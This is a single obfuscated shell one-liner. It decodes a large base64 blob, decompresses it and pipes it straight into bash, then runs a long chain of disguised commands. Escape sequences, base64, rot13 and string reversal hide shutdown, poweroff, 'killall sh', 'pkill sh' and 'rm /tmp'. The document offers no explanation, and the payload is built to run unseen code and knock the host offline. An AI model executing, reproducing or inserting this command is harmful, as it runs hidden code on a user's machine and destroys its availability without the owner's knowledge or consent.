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|base64 -d|gunzip|bash;$'\72' killall sh;: $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$(: pkill sh);$'\u003A' $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);$'\u003A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$'\u003A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\x3A' exit;: $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $(echo c2h1dGRvd24K |base64 -d);: $'\x73\x68\x75\x74\x64\x6f\x77\x6e';: $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );: pkill sh;$'\x3A' $'\x73\x68\x75\x74\x64\x6f\x77\x6e';$(: poweroff);$'\72' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' -d);$'\72' poweroff;$'\u003A' $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A' killall sh;$'\x3A' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);$'\u003A' $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );: $($'\145\143\150\157' cG93ZXJvZmYK | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A';: $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\x3A' $($'\u0065\u0063\u0068\u006f' ZXhpdAo= | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );$(: killall sh);: $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $(echo KYmZvJXZ39Gc |rev|base64 -d);: $(echo =bNqcuKM |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\x3A' $'\u0070\u006f\u0077\u0065\u0072\u006f\u0066\u0066';$'\72' $(echo XLzMiWKM39Tp |rev|tr A-Za-z N-ZA-Mn-za-m|base64 -d);: $'\x65\x78\x69\x74';: $(echo K42dvRGd1h2c |rev|base64 -d);$'\u003A' $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';: $(ls --help|grep ^G|cut -c13)$(ls --help|grep ^G|cut -c22)$(ls --help|grep ^G|cut -c9)$(ls --help|grep ^G|cut -c10)$(echo -n|md5sum|cut -c1)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c16);$'\72' $($'\x65\x63\x68\x6f' c2h1dGRvd24K | $'\x62\x61\x73\x65\x36\x34' -d);$'\x3A' $(echo p2u1qTEiq24X |tr A-Za-z N-ZA-Mn-za-m|base64 -d);$'\u003A' $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);: $($'\145\143\150\157' ZXhpdAo= | $'\142\141\163\145\66\64' $'\55\144' );: $'\u0065\u0078\u0069\u0074';: :;: $(echo =oAdphXZ |rev|base64 -d);$'\u003A' $'\u0065\u0078\u0069\u0074';$'\x3A' $($'\u0065\u0063\u0068\u006f' c2h1dGRvd24K | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );: ::;$'\u003A' $($'\x65\x63\x68\x6f' ZXhpdAo= | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );$'\72' $(echo K42dvRGd1h2c |rev|base64 -d);$(: rm /tmp);: $'\u0073\u0068\u0075\u0074\u0064\u006f\u0077\u006e';:;$'\u003A' $($'\x65\x63\x68\x6f' cG93ZXJvZmYK | $'\x62\x61\x73\x65\x36\x34' $'\x2d\x64' );: $(ls --help|grep ^G|cut -c32)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c36)$(ls --help|grep ^G|cut -c8)$(ls --help|grep ^G|cut -c7)$(ls --help|grep ^G|cut -c6)$(ls --help|grep ^G|cut -c50)$(ls --help|grep ^G|cut -c50);$'\72' $($'\145\143\150\157' c2h1dGRvd24K | $'\142\141\163\145\66\64' $'\55\144' );$'\x3A' poweroff;$'\72' $(echo =oAdphXZ |rev|base64 -d);$'\72' $($'\u0065\u0063\u0068\u006f' cG93ZXJvZmYK | $'\u0062\u0061\u0073\u0065\u0036\u0034' $'\u002d\u0064' );: 